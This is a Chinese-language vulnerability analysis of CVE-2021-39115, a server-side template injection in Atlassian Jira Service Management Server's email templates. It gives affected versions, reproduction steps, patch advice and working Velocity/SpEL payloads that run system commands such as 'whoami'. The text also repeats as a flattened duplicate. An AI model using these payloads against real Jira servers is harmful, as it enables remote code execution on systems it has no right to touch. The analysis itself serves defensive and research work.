CVE-2021-39115-Atlassian Jira Service Management Server SSTI漏洞分析
字数 877 2025-08-03 16:42:24

Atlassian Jira Service Management Server SSTI漏洞分析 (CVE-2021-39115)

漏洞概述

CVE-2021-39115是Atlassian Jira Service Management Server中的一个服务端模板注入(SSTI)漏洞,影响以下版本:

  • 版本 < 4.13.9
  • 4.14.0 ≤ 版本 < 4.18.0

该漏洞需要Jira Administrator权限才能利用,通过Email Templates功能点中的Velocity模板引擎实现注入。

漏洞复现步骤

环境准备

  1. 安装Jira Service Management 4.17.1版本
  2. 配置SMTP服务器

利用过程

  1. 使用管理员账户登录系统
  2. 进入system/EmailTemplates下载当前模板
  3. 修改并替换header.vm文件,插入恶意代码

攻击载荷示例

基础验证:

$jirautils.loadComponent('java.lang.Runtime',$i18n.getClass())

SPEL表达式注入执行命令:

#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

带回显的命令执行:

#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())").getValue()
  1. 进入System/SendEmail发送邮件
  2. 选择邮件用户并发送
  3. 接收邮件查看执行结果

技术分析

  1. 漏洞位于Email Templates功能中,利用Velocity模板引擎
  2. 通过jirautils.loadComponent方法加载恶意类
  3. 利用Spring框架的SpEL表达式注入实现RCE
  4. 关键类:org.springframework.expression.spel.standard.SpelExpressionParser

修复建议

  1. 升级到不受影响的版本:

    • 4.13.9或更高版本
    • 4.18.0或更高版本
  2. 官方补丁参考:https://jira.atlassian.com/browse/JSDSERVER-8665

后记

该漏洞的发现需要:

  1. 通过补丁对比方法定位关键类
  2. 寻找loadComponents功能函数
  3. 理解Velocity模板引擎的工作机制

参考链接

  • 官方通报:https://jira.atlassian.com/browse/JSDSERVER-8665
Atlassian Jira Service Management Server SSTI漏洞分析 (CVE-2021-39115) 漏洞概述 CVE-2021-39115是Atlassian Jira Service Management Server中的一个服务端模板注入(SSTI)漏洞,影响以下版本: 版本 < 4.13.9 4.14.0 ≤ 版本 < 4.18.0 该漏洞需要Jira Administrator权限才能利用,通过Email Templates功能点中的Velocity模板引擎实现注入。 漏洞复现步骤 环境准备 安装Jira Service Management 4.17.1版本 配置SMTP服务器 利用过程 使用管理员账户登录系统 进入 system/EmailTemplates 下载当前模板 修改并替换 header.vm 文件,插入恶意代码 攻击载荷示例 基础验证: SPEL表达式注入执行命令: 带回显的命令执行: 进入 System/SendEmail 发送邮件 选择邮件用户并发送 接收邮件查看执行结果 技术分析 漏洞位于Email Templates功能中,利用Velocity模板引擎 通过 jirautils.loadComponent 方法加载恶意类 利用Spring框架的SpEL表达式注入实现RCE 关键类: org.springframework.expression.spel.standard.SpelExpressionParser 修复建议 升级到不受影响的版本: 4.13.9或更高版本 4.18.0或更高版本 官方补丁参考:https://jira.atlassian.com/browse/JSDSERVER-8665 后记 该漏洞的发现需要: 通过补丁对比方法定位关键类 寻找 loadComponents 功能函数 理解Velocity模板引擎的工作机制 参考链接 官方通报:https://jira.atlassian.com/browse/JSDSERVER-8665